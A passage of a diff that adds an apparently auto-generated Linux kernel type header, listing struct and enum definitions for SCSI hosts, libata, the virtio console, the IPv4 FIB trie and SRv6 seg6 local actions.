scsi_timeout_action (*eh_timed_out)(struct scsi_cmnd *); + bool (*eh_should_retry_cmd)(struct scsi_cmnd *); + int (*host_reset)(struct Scsi_Host *, int); + const char *proc_name; + int can_queue; + int this_id; + short unsigned int sg_tablesize; + short unsigned int sg_prot_tablesize; + unsigned int max_sectors; + unsigned int max_segment_size; + long unsigned int dma_boundary; + long unsigned int virt_boundary_mask; + short int cmd_per_lun; + int tag_alloc_policy; + unsigned int track_queue_depth: 1; + unsigned int supported_mode: 2; + unsigned int emulated: 1; + unsigned int skip_settle_delay: 1; + unsigned int no_write_same: 1; + unsigned int host_tagset: 1; + unsigned int max_host_blocked; + const struct attribute_group **shost_groups; + const struct attribute_group **sdev_groups; + u64 vendor_id; + int rpm_autosuspend_delay; +}; + +struct scsi_transport_template; + +enum scsi_host_state { + SHOST_CREATED = 1, + SHOST_RUNNING = 2, + SHOST_CANCEL = 3, + SHOST_DEL = 4, + SHOST_RECOVERY = 5, + SHOST_CANCEL_RECOVERY = 6, + SHOST_DEL_RECOVERY = 7, +}; + +struct Scsi_Host { + struct list_head __devices; + struct list_head __targets; + struct list_head starved_list; + spinlock_t default_lock; + spinlock_t *host_lock; + struct mutex scan_mutex; + struct list_head eh_abort_list; + struct list_head eh_cmd_q; + struct task_struct *ehandler; + struct completion *eh_action; + wait_queue_head_t host_wait; + const struct scsi_host_template *hostt; + struct scsi_transport_template *transportt; + struct kref tagset_refcnt; + struct completion tagset_freed; + struct blk_mq_tag_set tag_set; + atomic_t host_blocked; + unsigned int host_failed; + unsigned int host_eh_scheduled; + unsigned int host_no; + int eh_deadline; + long unsigned int last_reset; + unsigned int max_channel; + unsigned int max_id; + u64 max_lun; + unsigned int unique_id; + short unsigned int max_cmd_len; + int this_id; + int can_queue; + short int cmd_per_lun; + short unsigned int sg_tablesize; + short unsigned int sg_prot_tablesize; + unsigned int max_sectors; + unsigned int opt_sectors; + unsigned int max_segment_size; + long unsigned int dma_boundary; + long unsigned int virt_boundary_mask; + unsigned int nr_hw_queues; + unsigned int nr_maps; + unsigned int active_mode: 2; + unsigned int host_self_blocked: 1; + unsigned int reverse_ordering: 1; + unsigned int tmf_in_progress: 1; + unsigned int async_scan: 1; + unsigned int eh_noresume: 1; + unsigned int no_write_same: 1; + unsigned int host_tagset: 1; + unsigned int short_inquiry: 1; + unsigned int no_scsi2_lun_in_cdb: 1; + char work_q_name[20]; + struct workqueue_struct *work_q; + struct workqueue_struct *tmf_work_q; + unsigned int max_host_blocked; + unsigned int prot_capabilities; + unsigned char prot_guard_type; + long unsigned int base; + long unsigned int io_port; + unsigned char n_io_port; + unsigned char dma_channel; + unsigned int irq; + enum scsi_host_state shost_state; + struct device shost_gendev; + struct device shost_dev; + void *shost_data; + struct device *dma_dev; + long unsigned int hostdata[0]; +}; + +enum { + LIBATA_MAX_PRD = 128, + LIBATA_DUMB_MAX_PRD = 64, + ATA_DEF_QUEUE = 1, + ATA_MAX_QUEUE = 32, + ATA_TAG_INTERNAL = 32, + ATA_SHORT_PAUSE = 16, + ATAPI_MAX_DRAIN = 16384, + ATA_ALL_DEVICES = 3, + ATA_SHT_EMULATED = 1, + ATA_SHT_THIS_ID = -1, + ATA_TFLAG_LBA48 = 1, + ATA_TFLAG_ISADDR = 2, + ATA_TFLAG_DEVICE = 4, + ATA_TFLAG_WRITE = 8, + ATA_TFLAG_LBA = 16, + ATA_TFLAG_FUA = 32, + ATA_TFLAG_POLLING = 64, + ATA_DFLAG_LBA = 1, + ATA_DFLAG_LBA48 = 2, + ATA_DFLAG_CDB_INTR = 4, + ATA_DFLAG_NCQ = 8, + ATA_DFLAG_FLUSH_EXT = 16, + ATA_DFLAG_ACPI_PENDING = 32, + ATA_DFLAG_ACPI_FAILED = 64, + ATA_DFLAG_AN = 128, + ATA_DFLAG_TRUSTED = 256, + ATA_DFLAG_FUA = 512, + ATA_DFLAG_DMADIR = 1024, + ATA_DFLAG_NCQ_SEND_RECV = 2048, + ATA_DFLAG_NCQ_PRIO = 4096, + ATA_DFLAG_CFG_MASK = 8191, + ATA_DFLAG_PIO = 8192, + ATA_DFLAG_NCQ_OFF = 16384, + ATA_DFLAG_SLEEPING = 32768, + ATA_DFLAG_DUBIOUS_XFER = 65536, + ATA_DFLAG_NO_UNLOAD = 131072, + ATA_DFLAG_UNLOCK_HPA = 262144, + ATA_DFLAG_INIT_MASK = 524287, + ATA_DFLAG_NCQ_PRIO_ENABLED = 524288, + ATA_DFLAG_DETACH = 16777216, + ATA_DFLAG_DETACHED = 33554432, + ATA_DFLAG_DA = 67108864, + ATA_DFLAG_DEVSLP = 134217728, + ATA_DFLAG_ACPI_DISABLED = 268435456, + ATA_DFLAG_D_SENSE = 536870912, + ATA_DFLAG_ZAC = 1073741824, + ATA_DFLAG_FEATURES_MASK = 201333504, + ATA_DEV_UNKNOWN = 0, + ATA_DEV_ATA = 1, + ATA_DEV_ATA_UNSUP = 2, + ATA_DEV_ATAPI = 3, + ATA_DEV_ATAPI_UNSUP = 4, + ATA_DEV_PMP = 5, + ATA_DEV_PMP_UNSUP = 6, + ATA_DEV_SEMB = 7, + ATA_DEV_SEMB_UNSUP = 8, + ATA_DEV_ZAC = 9, + ATA_DEV_ZAC_UNSUP = 10, + ATA_DEV_NONE = 11, + ATA_LFLAG_NO_HRST = 2, + ATA_LFLAG_NO_SRST = 4, + ATA_LFLAG_ASSUME_ATA = 8, + ATA_LFLAG_ASSUME_SEMB = 16, + ATA_LFLAG_ASSUME_CLASS = 24, + ATA_LFLAG_NO_RETRY = 32, + ATA_LFLAG_DISABLED = 64, + ATA_LFLAG_SW_ACTIVITY = 128, + ATA_LFLAG_NO_LPM = 256, + ATA_LFLAG_RST_ONCE = 512, + ATA_LFLAG_CHANGED = 1024, + ATA_LFLAG_NO_DEBOUNCE_DELAY = 2048, + ATA_FLAG_SLAVE_POSS = 1, + ATA_FLAG_SATA = 2, + ATA_FLAG_NO_LPM = 4, + ATA_FLAG_NO_LOG_PAGE = 32, + ATA_FLAG_NO_ATAPI = 64, + ATA_FLAG_PIO_DMA = 128, + ATA_FLAG_PIO_LBA48 = 256, + ATA_FLAG_PIO_POLLING = 512, + ATA_FLAG_NCQ = 1024, + ATA_FLAG_NO_POWEROFF_SPINDOWN = 2048, + ATA_FLAG_NO_HIBERNATE_SPINDOWN = 4096, + ATA_FLAG_DEBUGMSG = 8192, + ATA_FLAG_FPDMA_AA = 16384, + ATA_FLAG_IGN_SIMPLEX = 32768, + ATA_FLAG_NO_IORDY = 65536, + ATA_FLAG_ACPI_SATA = 131072, + ATA_FLAG_AN = 262144, + ATA_FLAG_PMP = 524288, + ATA_FLAG_FPDMA_AUX = 1048576, + ATA_FLAG_EM = 2097152, + ATA_FLAG_SW_ACTIVITY = 4194304, + ATA_FLAG_NO_DIPM = 8388608, + ATA_FLAG_SAS_HOST = 16777216, + ATA_PFLAG_EH_PENDING = 1, + ATA_PFLAG_EH_IN_PROGRESS = 2, + ATA_PFLAG_FROZEN = 4, + ATA_PFLAG_RECOVERED = 8, + ATA_PFLAG_LOADING = 16, + ATA_PFLAG_SCSI_HOTPLUG = 64, + ATA_PFLAG_INITIALIZING = 128, + ATA_PFLAG_RESETTING = 256, + ATA_PFLAG_UNLOADING = 512, + ATA_PFLAG_UNLOADED = 1024, + ATA_PFLAG_SUSPENDED = 131072, + ATA_PFLAG_PM_PENDING = 262144, + ATA_PFLAG_INIT_GTM_VALID = 524288, + ATA_PFLAG_PIO32 = 1048576, + ATA_PFLAG_PIO32CHANGE = 2097152, + ATA_PFLAG_EXTERNAL = 4194304, + ATA_QCFLAG_ACTIVE = 1, + ATA_QCFLAG_DMAMAP = 2, + ATA_QCFLAG_RTF_FILLED = 4, + ATA_QCFLAG_IO = 8, + ATA_QCFLAG_RESULT_TF = 16, + ATA_QCFLAG_CLEAR_EXCL = 32, + ATA_QCFLAG_QUIET = 64, + ATA_QCFLAG_RETRY = 128, + ATA_QCFLAG_EH = 65536, + ATA_QCFLAG_SENSE_VALID = 131072, + ATA_QCFLAG_EH_SCHEDULED = 262144, + ATA_HOST_SIMPLEX = 1, + ATA_HOST_STARTED = 2, + ATA_HOST_PARALLEL_SCAN = 4, + ATA_HOST_IGNORE_ATA = 8, + ATA_TMOUT_BOOT = 30000, + ATA_TMOUT_BOOT_QUICK = 7000, + ATA_TMOUT_INTERNAL_QUICK = 5000, + ATA_TMOUT_MAX_PARK = 30000, + ATA_TMOUT_FF_WAIT_LONG = 2000, + ATA_TMOUT_FF_WAIT = 800, + ATA_WAIT_AFTER_RESET = 150, + ATA_TMOUT_PMP_SRST_WAIT = 5000, + ATA_TMOUT_SPURIOUS_PHY = 10000, + BUS_UNKNOWN = 0, + BUS_DMA = 1, + BUS_IDLE = 2, + BUS_NOINTR = 3, + BUS_NODATA = 4, + BUS_TIMER = 5, + BUS_PIO = 6, + BUS_EDD = 7, + BUS_IDENTIFY = 8, + BUS_PACKET = 9, + PORT_UNKNOWN = 0, + PORT_ENABLED = 1, + PORT_DISABLED = 2, + ATA_NR_PIO_MODES = 7, + ATA_NR_MWDMA_MODES = 5, + ATA_NR_UDMA_MODES = 8, + ATA_SHIFT_PIO = 0, + ATA_SHIFT_MWDMA = 7, + ATA_SHIFT_UDMA = 12, + ATA_SHIFT_PRIO = 6, + ATA_PRIO_HIGH = 2, + ATA_DMA_PAD_SZ = 4, + ATA_ERING_SIZE = 32, + ATA_DEFER_LINK = 1, + ATA_DEFER_PORT = 2, + ATA_EH_DESC_LEN = 80, + ATA_EH_REVALIDATE = 1, + ATA_EH_SOFTRESET = 2, + ATA_EH_HARDRESET = 4, + ATA_EH_RESET = 6, + ATA_EH_ENABLE_LINK = 8, + ATA_EH_PARK = 32, + ATA_EH_PERDEV_MASK = 33, + ATA_EH_ALL_ACTIONS = 15, + ATA_EHI_HOTPLUGGED = 1, + ATA_EHI_NO_AUTOPSY = 4, + ATA_EHI_QUIET = 8, + ATA_EHI_NO_RECOVERY = 16, + ATA_EHI_DID_SOFTRESET = 65536, + ATA_EHI_DID_HARDRESET = 131072, + ATA_EHI_PRINTINFO = 262144, + ATA_EHI_SETMODE = 524288, + ATA_EHI_POST_SETMODE = 1048576, + ATA_EHI_DID_RESET = 196608, + ATA_EHI_TO_SLAVE_MASK = 12, + ATA_EH_MAX_TRIES = 5, + ATA_LINK_RESUME_TRIES = 5, + ATA_PROBE_MAX_TRIES = 3, + ATA_EH_DEV_TRIES = 3, + ATA_EH_PMP_TRIES = 5, + ATA_EH_PMP_LINK_TRIES = 3, + SATA_PMP_RW_TIMEOUT = 3000, + ATA_EH_CMD_TIMEOUT_TABLE_SIZE = 7, + ATA_HORKAGE_DIAGNOSTIC = 1, + ATA_HORKAGE_NODMA = 2, + ATA_HORKAGE_NONCQ = 4, + ATA_HORKAGE_MAX_SEC_128 = 8, + ATA_HORKAGE_BROKEN_HPA = 16, + ATA_HORKAGE_DISABLE = 32, + ATA_HORKAGE_HPA_SIZE = 64, + ATA_HORKAGE_IVB = 256, + ATA_HORKAGE_STUCK_ERR = 512, + ATA_HORKAGE_BRIDGE_OK = 1024, + ATA_HORKAGE_ATAPI_MOD16_DMA = 2048, + ATA_HORKAGE_FIRMWARE_WARN = 4096, + ATA_HORKAGE_1_5_GBPS = 8192, + ATA_HORKAGE_NOSETXFER = 16384, + ATA_HORKAGE_BROKEN_FPDMA_AA = 32768, + ATA_HORKAGE_DUMP_ID = 65536, + ATA_HORKAGE_MAX_SEC_LBA48 = 131072, + ATA_HORKAGE_ATAPI_DMADIR = 262144, + ATA_HORKAGE_NO_NCQ_TRIM = 524288, + ATA_HORKAGE_NOLPM = 1048576, + ATA_HORKAGE_WD_BROKEN_LPM = 2097152, + ATA_HORKAGE_ZERO_AFTER_TRIM = 4194304, + ATA_HORKAGE_NO_DMA_LOG = 8388608, + ATA_HORKAGE_NOTRIM = 16777216, + ATA_HORKAGE_MAX_SEC_1024 = 33554432, + ATA_HORKAGE_MAX_TRIM_128M = 67108864, + ATA_HORKAGE_NO_NCQ_ON_ATI = 134217728, + ATA_HORKAGE_NO_ID_DEV_LOG = 268435456, + ATA_HORKAGE_NO_LOG_DIR = 536870912, + ATA_HORKAGE_NO_FUA = 1073741824, + ATA_DMA_MASK_ATA = 1, + ATA_DMA_MASK_ATAPI = 2, + ATA_DMA_MASK_CFA = 4, + ATAPI_READ = 0, + ATAPI_WRITE = 1, + ATAPI_READ_CD = 2, + ATAPI_PASS_THRU = 3, + ATAPI_MISC = 4, + ATA_TIMING_SETUP = 1, + ATA_TIMING_ACT8B = 2, + ATA_TIMING_REC8B = 4, + ATA_TIMING_CYC8B = 8, + ATA_TIMING_8BIT = 14, + ATA_TIMING_ACTIVE = 16, + ATA_TIMING_RECOVER = 32, + ATA_TIMING_DMACK_HOLD = 64, + ATA_TIMING_CYCLE = 128, + ATA_TIMING_UDMA = 256, + ATA_TIMING_ALL = 511, + ATA_ACPI_FILTER_SETXFER = 1, + ATA_ACPI_FILTER_LOCK = 2, + ATA_ACPI_FILTER_DIPM = 4, + ATA_ACPI_FILTER_FPDMA_OFFSET = 8, + ATA_ACPI_FILTER_FPDMA_AA = 16, + ATA_ACPI_FILTER_DEFAULT = 7, +}; + +enum ata_completion_errors { + AC_ERR_OK = 0, + AC_ERR_DEV = 1, + AC_ERR_HSM = 2, + AC_ERR_TIMEOUT = 4, + AC_ERR_MEDIA = 8, + AC_ERR_ATA_BUS = 16, + AC_ERR_HOST_BUS = 32, + AC_ERR_SYSTEM = 64, + AC_ERR_INVALID = 128, + AC_ERR_OTHER = 256, + AC_ERR_NODEV_HINT = 512, + AC_ERR_NCQ = 1024, +}; + +enum ata_lpm_policy { + ATA_LPM_UNKNOWN = 0, + ATA_LPM_MAX_POWER = 1, + ATA_LPM_MED_POWER = 2, + ATA_LPM_MED_POWER_WITH_DIPM = 3, + ATA_LPM_MIN_POWER_WITH_PARTIAL = 4, + ATA_LPM_MIN_POWER = 5, +}; + +struct ata_queued_cmd; + +typedef void (*ata_qc_cb_t)(struct ata_queued_cmd *); + +struct ata_taskfile { + long unsigned int flags; + u8 protocol; + u8 ctl; + u8 hob_feature; + u8 hob_nsect; + u8 hob_lbal; + u8 hob_lbam; + u8 hob_lbah; + union { + u8 error; + u8 feature; + }; + u8 nsect; + u8 lbal; + u8 lbam; + u8 lbah; + u8 device; + union { + u8 status; + u8 command; + }; + u32 auxiliary; +}; + +struct ata_port; + +struct ata_device; + +struct ata_queued_cmd { + struct ata_port *ap; + struct ata_device *dev; + struct scsi_cmnd *scsicmd; + void (*scsidone)(struct scsi_cmnd *); + struct ata_taskfile tf; + u8 cdb[16]; + long unsigned int flags; + unsigned int tag; + unsigned int hw_tag; + unsigned int n_elem; + unsigned int orig_n_elem; + int dma_dir; + unsigned int sect_size; + unsigned int nbytes; + unsigned int extrabytes; + unsigned int curbytes; + struct scatterlist sgent; + struct scatterlist *sg; + struct scatterlist *cursg; + unsigned int cursg_ofs; + unsigned int err_mask; + struct ata_taskfile result_tf; + ata_qc_cb_t complete_fn; + void *private_data; + void *lldd_task; +}; + +struct ata_link; + +typedef int (*ata_prereset_fn_t)(struct ata_link *, long unsigned int); + +struct ata_eh_info { + struct ata_device *dev; + u32 serror; + unsigned int err_mask; + unsigned int action; + unsigned int dev_action[2]; + unsigned int flags; + unsigned int probe_mask; + char desc[80]; + int desc_len; +}; + +struct ata_eh_context { + struct ata_eh_info i; + int tries[2]; + int cmd_timeout_idx[14]; + unsigned int classes[2]; + unsigned int did_probe_mask; + unsigned int unloaded_mask; + unsigned int saved_ncq_enabled; + u8 saved_xfer_mode[2]; + long unsigned int last_reset; +}; + +struct ata_ering_entry { + unsigned int eflags; + unsigned int err_mask; + u64 timestamp; +}; + +struct ata_ering { + int cursor; + struct ata_ering_entry ring[32]; +}; + +struct ata_cpr_log; + +struct ata_device { + struct ata_link *link; + unsigned int devno; + unsigned int horkage; + long unsigned int flags; + struct scsi_device *sdev; + void *private_data; + struct device tdev; + u64 n_sectors; + u64 n_native_sectors; + unsigned int class; + long unsigned int unpark_deadline; + u8 pio_mode; + u8 dma_mode; + u8 xfer_mode; + unsigned int xfer_shift; + unsigned int multi_count; + unsigned int max_sectors; + unsigned int cdb_len; + unsigned int pio_mask; + unsigned int mwdma_mask; + unsigned int udma_mask; + u16 cylinders; + u16 heads; + u16 sectors; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + union { + u16 id[256]; + u32 gscr[128]; + }; + u8 devslp_timing[8]; + u8 ncq_send_recv_cmds[20]; + u8 ncq_non_data_cmds[64]; + u32 zac_zoned_cap; + u32 zac_zones_optimal_open; + u32 zac_zones_optimal_nonseq; + u32 zac_zones_max_open; + struct ata_cpr_log *cpr_log; + int spdn_cnt; + struct ata_ering ering; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct ata_link { + struct ata_port *ap; + int pmp; + struct device tdev; + unsigned int active_tag; + u32 sactive; + unsigned int flags; + u32 saved_scontrol; + unsigned int hw_sata_spd_limit; + unsigned int sata_spd_limit; + unsigned int sata_spd; + enum ata_lpm_policy lpm_policy; + struct ata_eh_info eh_info; + struct ata_eh_context eh_context; + long: 64; + long: 64; + long: 64; + struct ata_device device[2]; + long unsigned int last_lpm_change; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +typedef int (*ata_reset_fn_t)(struct ata_link *, unsigned int *, long unsigned int); + +typedef void (*ata_postreset_fn_t)(struct ata_link *, unsigned int *); + +enum sw_activity { + OFF = 0, + BLINK_ON = 1, + BLINK_OFF = 2, +}; + +struct ata_port_operations; + +struct ata_host { + spinlock_t lock; + struct device *dev; + void * const *iomap; + unsigned int n_ports; + unsigned int n_tags; + void *private_data; + struct ata_port_operations *ops; + long unsigned int flags; + struct kref kref; + struct mutex eh_mutex; + struct task_struct *eh_owner; + struct ata_port *simplex_claimed; + struct ata_port *ports[0]; +}; + +struct ata_port_operations { + int (*qc_defer)(struct ata_queued_cmd *); + int (*check_atapi_dma)(struct ata_queued_cmd *); + enum ata_completion_errors (*qc_prep)(struct ata_queued_cmd *); + unsigned int (*qc_issue)(struct ata_queued_cmd *); + void (*qc_fill_rtf)(struct ata_queued_cmd *); + void (*qc_ncq_fill_rtf)(struct ata_port *, u64); + int (*cable_detect)(struct ata_port *); + unsigned int (*mode_filter)(struct ata_device *, unsigned int); + void (*set_piomode)(struct ata_port *, struct ata_device *); + void (*set_dmamode)(struct ata_port *, struct ata_device *); + int (*set_mode)(struct ata_link *, struct ata_device **); + unsigned int (*read_id)(struct ata_device *, struct ata_taskfile *, __le16 *); + void (*dev_config)(struct ata_device *); + void (*freeze)(struct ata_port *); + void (*thaw)(struct ata_port *); + ata_prereset_fn_t prereset; + ata_reset_fn_t softreset; + ata_reset_fn_t hardreset; + ata_postreset_fn_t postreset; + ata_prereset_fn_t pmp_prereset; + ata_reset_fn_t pmp_softreset; + ata_reset_fn_t pmp_hardreset; + ata_postreset_fn_t pmp_postreset; + void (*error_handler)(struct ata_port *); + void (*lost_interrupt)(struct ata_port *); + void (*post_internal_cmd)(struct ata_queued_cmd *); + void (*sched_eh)(struct ata_port *); + void (*end_eh)(struct ata_port *); + int (*scr_read)(struct ata_link *, unsigned int, u32 *); + int (*scr_write)(struct ata_link *, unsigned int, u32); + void (*pmp_attach)(struct ata_port *); + void (*pmp_detach)(struct ata_port *); + int (*set_lpm)(struct ata_link *, enum ata_lpm_policy, unsigned int); + int (*port_suspend)(struct ata_port *, pm_message_t); + int (*port_resume)(struct ata_port *); + int (*port_start)(struct ata_port *); + void (*port_stop)(struct ata_port *); + void (*host_stop)(struct ata_host *); + ssize_t (*em_show)(struct ata_port *, char *); + ssize_t (*em_store)(struct ata_port *, const char *, size_t); + ssize_t (*sw_activity_show)(struct ata_device *, char *); + ssize_t (*sw_activity_store)(struct ata_device *, enum sw_activity); + ssize_t (*transmit_led_message)(struct ata_port *, u32, ssize_t); + void (*phy_reset)(struct ata_port *); + void (*eng_timeout)(struct ata_port *); + const struct ata_port_operations *inherits; +}; + +struct ata_port_stats { + long unsigned int unhandled_irq; + long unsigned int idle_irq; + long unsigned int rw_reqbuf; +}; + +struct ata_port { + struct Scsi_Host *scsi_host; + struct ata_port_operations *ops; + spinlock_t *lock; + long unsigned int flags; + unsigned int pflags; + unsigned int print_id; + unsigned int local_port_no; + unsigned int port_no; + unsigned int pio_mask; + unsigned int mwdma_mask; + unsigned int udma_mask; + unsigned int cbl; + struct ata_queued_cmd qcmd[33]; + u64 qc_active; + int nr_active_links; + struct ata_link link; + struct ata_link *slave_link; + int nr_pmp_links; + struct ata_link *pmp_link; + struct ata_link *excl_link; + struct ata_port_stats stats; + struct ata_host *host; + struct device *dev; + struct device tdev; + struct mutex scsi_scan_mutex; + struct delayed_work hotplug_task; + struct work_struct scsi_rescan_task; + unsigned int hsm_task_state; + struct list_head eh_done_q; + wait_queue_head_t eh_wait_q; + int eh_tries; + struct completion park_req_pending; + pm_message_t pm_mesg; + enum ata_lpm_policy target_lpm_policy; + struct timer_list fastdrain_timer; + unsigned int fastdrain_cnt; + async_cookie_t cookie; + int em_message_type; + void *private_data; + long: 64; + long: 64; + u8 sector_buf[512]; +}; + +struct ata_cpr { + u8 num; + u8 num_storage_elements; + u64 start_lba; + u64 num_lbas; +}; + +struct ata_cpr_log { + u8 nr_cpr; + struct ata_cpr cpr[0]; +}; + +struct ata_port_info { + long unsigned int flags; + long unsigned int link_flags; + unsigned int pio_mask; + unsigned int mwdma_mask; + unsigned int udma_mask; + struct ata_port_operations *port_ops; + void *private_data; +}; + +struct virtio_console_config { + __virtio16 cols; + __virtio16 rows; + __virtio32 max_nr_ports; + __virtio32 emerg_wr; +}; + +struct virtio_console_control { + __virtio32 id; + __virtio16 event; + __virtio16 value; +}; + +struct hv_ops; + +struct hvc_struct { + struct tty_port port; + spinlock_t lock; + int index; + int do_wakeup; + char *outbuf; + int outbuf_size; + int n_outbuf; + uint32_t vtermno; + const struct hv_ops *ops; + int irq_requested; + int data; + struct winsize ws; + struct work_struct tty_resize; + struct list_head next; + long unsigned int flags; +}; + +struct hv_ops { + int (*get_chars)(uint32_t, char *, int); + int (*put_chars)(uint32_t, const char *, int); + int (*flush)(uint32_t, bool); + int (*notifier_add)(struct hvc_struct *, int); + void (*notifier_del)(struct hvc_struct *, int); + void (*notifier_hangup)(struct hvc_struct *, int); + int (*tiocmget)(struct hvc_struct *); + int (*tiocmset)(struct hvc_struct *, unsigned int, unsigned int); + void (*dtr_rts)(struct hvc_struct *, bool); +}; + +struct ports_driver_data { + struct class *class; + struct dentry *debugfs_dir; + struct list_head portdevs; + struct list_head consoles; +}; + +struct console___2 { + struct list_head list; + struct hvc_struct *hvc; + struct winsize ws; + u32 vtermno; +}; + +struct port_buffer { + char *buf; + size_t size; + size_t len; + size_t offset; + dma_addr_t dma; + struct device *dev; + struct list_head list; + unsigned int sgpages; + struct scatterlist sg[0]; +}; + +struct ports_device { + struct list_head list; + struct work_struct control_work; + struct work_struct config_work; + struct list_head ports; + spinlock_t ports_lock; + spinlock_t c_ivq_lock; + spinlock_t c_ovq_lock; + u32 max_nr_ports; + struct virtio_device *vdev; + struct virtqueue *c_ivq; + struct virtqueue *c_ovq; + struct virtio_console_control cpkt; + struct virtqueue **in_vqs; + struct virtqueue **out_vqs; + int chr_major; +}; + +struct port_stats { + long unsigned int bytes_sent; + long unsigned int bytes_received; + long unsigned int bytes_discarded; +}; + +struct port___2 { + struct list_head list; + struct ports_device *portdev; + struct port_buffer *inbuf; + spinlock_t inbuf_lock; + spinlock_t outvq_lock; + struct virtqueue *in_vq; + struct virtqueue *out_vq; + struct dentry *debugfs_file; + struct port_stats stats; + struct console___2 cons; + struct cdev *cdev; + struct device *dev; + struct kref kref; + wait_queue_head_t waitqueue; + char *name; + struct fasync_struct *async_queue; + u32 id; + bool outvq_full; + bool host_connected; + bool guest_connected; +}; + +struct sg_list { + unsigned int n; + unsigned int size; + size_t len; + struct scatterlist *sg; +}; + +enum meminit_context { + MEMINIT_EARLY = 0, + MEMINIT_HOTPLUG = 1, +}; + +struct node_access_nodes { + struct device dev; + struct list_head list_node; + unsigned int access; +}; + +struct node_attr { + struct device_attribute attr; + enum node_states state; +}; + +enum udp_tunnel_nic_info_flags { + UDP_TUNNEL_NIC_INFO_MAY_SLEEP = 1, + UDP_TUNNEL_NIC_INFO_OPEN_ONLY = 2, + UDP_TUNNEL_NIC_INFO_IPV4_ONLY = 4, + UDP_TUNNEL_NIC_INFO_STATIC_IANA_VXLAN = 8, +}; + +enum rc_filter_type { + RC_FILTER_NORMAL = 0, + RC_FILTER_WAKEUP = 1, + RC_FILTER_MAX = 2, +}; + +struct led_trigger {}; + +struct rc_filter_attribute { + struct device_attribute attr; + enum rc_filter_type type; + bool mask; +}; + +struct zpff_device { + struct hid_report *report; +}; + +enum gro_result { + GRO_MERGED = 0, + GRO_MERGED_FREE = 1, + GRO_HELD = 2, + GRO_NORMAL = 3, + GRO_CONSUMED = 4, +}; + +typedef enum gro_result gro_result_t; + +enum ethtool_multicast_groups { + ETHNL_MCGRP_MONITOR = 0, +}; + +struct ethnl_dump_ctx { + const struct ethnl_request_ops *ops; + struct ethnl_req_info *req_info; + struct ethnl_reply_data *reply_data; + int pos_hash; + int pos_idx; +}; + +typedef void (*ethnl_notify_handler_t)(struct net_device *, unsigned int, const void *); + +struct plca_reply_data { + struct ethnl_reply_data base; + struct phy_plca_cfg plca_cfg; + struct phy_plca_status plca_st; +}; + +struct xt_tcp { + __u16 spts[2]; + __u16 dpts[2]; + __u8 option; + __u8 flg_mask; + __u8 flg_cmp; + __u8 invflags; +}; + +struct xt_udp { + __u16 spts[2]; + __u16 dpts[2]; + __u8 invflags; +}; + +struct ipt_icmp { + __u8 type; + __u8 code[2]; + __u8 invflags; +}; + +struct ip6t_icmp { + __u8 type; + __u8 code[2]; + __u8 invflags; +}; + +struct fib_entry_notifier_info { + struct fib_notifier_info info; + u32 dst; + int dst_len; + struct fib_info *fi; + dscp_t dscp; + u8 type; + u32 tb_id; +}; + +typedef unsigned int t_key; + +struct key_vector { + t_key key; + unsigned char pos; + unsigned char bits; + unsigned char slen; + union { + struct hlist_head leaf; + struct { + struct {} __empty_tnode; + struct key_vector *tnode[0]; + }; + }; +}; + +struct tnode { + struct callback_head rcu; + t_key empty_children; + t_key full_children; + struct key_vector *parent; + struct key_vector kv[1]; +}; + +struct trie_stat { + unsigned int totdepth; + unsigned int maxdepth; + unsigned int tnodes; + unsigned int leaves; + unsigned int nullpointers; + unsigned int prefixes; + unsigned int nodesizes[32]; +}; + +struct trie { + struct key_vector kv[1]; +}; + +struct fib_trie_iter { + struct seq_net_private p; + struct fib_table *tb; + struct key_vector *tnode; + unsigned int index; + unsigned int depth; +}; + +struct fib_route_iter { + struct seq_net_private p; + struct fib_table *main_tb; + struct key_vector *tnode; + loff_t pos; + t_key key; +}; + +enum { + SEG6_LOCAL_UNSPEC = 0, + SEG6_LOCAL_ACTION = 1, + SEG6_LOCAL_SRH = 2, + SEG6_LOCAL_TABLE = 3, + SEG6_LOCAL_NH4 = 4, + SEG6_LOCAL_NH6 = 5, + SEG6_LOCAL_IIF = 6, + SEG6_LOCAL_OIF = 7, + SEG6_LOCAL_BPF = 8, + SEG6_LOCAL_VRFTABLE = 9, + SEG6_LOCAL_COUNTERS = 10, + SEG6_LOCAL_FLAVORS = 11, + __SEG6_LOCAL_MAX = 12, +}; + +enum { + SEG6_LOCAL_ACTION_UNSPEC = 0, + SEG6_LOCAL_ACTION_END = 1, + SEG6_LOCAL_ACTION_END_X = 2, + SEG6_LOCAL_ACTION_END_T = 3, + SEG6_LOCAL_ACTION_END_DX2 = 4, + SEG6_LOCAL_ACTION_END_DX6 = 5, + SEG6_LOCAL_ACTION_END_DX4 = 6, + SEG6_LOCAL_ACTION_END_DT6 = 7, + SEG6_LOCAL_ACTION_END_DT4 = 8, + SEG6_LOCAL_ACTION_END_B6 = 9, + SEG6_LOCAL_ACTION_END_B6_ENCAP = 10, + SEG6_LOCAL_ACTION_END_BM = 11, + SEG6_LOCAL_ACTION_END_S = 12, + SEG6_LOCAL_ACTION_END_AS = 13, + SEG6_LOCAL_ACTION_END_AM = 14, + SEG6_LOCAL_ACTION_END_BPF = 15, + SEG6_LOCAL_ACTION_END_DT46 = 16, + __SEG6_LOCAL_ACTION_MAX = 17, +}; + +enum { + SEG6_LOCAL_BPF_PROG_UNSPEC = 0, + SEG6_LOCAL_BPF_PROG = 1, + SEG6_LOCAL_BPF_PROG_NAME = 2, + __SEG6_LOCAL_BPF_PROG_MAX = 3, +}; + +enum { + SEG6_LOCAL_CNT_UNSPEC = 0, + SEG6_LOCAL_CNT_PAD = 1, + SEG6_LOCAL_CNT_PACKETS = 2, + SEG6_LOCAL_CNT_BYTES = 3, + SEG6_LOCAL_CNT_ERRORS = 4, + __SEG6_LOCAL_CNT_MAX = 5, +}; + +enum { + SEG6_LOCAL_FLV_UNSPEC = 0, + SEG6_LOCAL_FLV_OPERATION = 1, + SEG6_LOCAL_FLV_LCBLOCK_BITS = 2, + SEG6_LOCAL_FLV_LCNODE_FN_BITS = 3, + __SEG6_LOCAL_FLV_MAX = 4, +}; + +enum { + SEG6_LOCAL_FLV_OP_UNSPEC = 0, + SEG6_LOCAL_FLV_OP_PSP = 1, + SEG6_LOCAL_FLV_OP_USP = 2, + SEG6_LOCAL_FLV_OP_USD = 3, + SEG6_LOCAL_FLV_OP_NEXT_CSID = 4, + __SEG6_LOCAL_FLV_OP_MAX = 5, +}; + +struct seg6_bpf_srh_state { + struct ipv6_sr_hdr *srh; + u16 hdrlen; + bool valid; 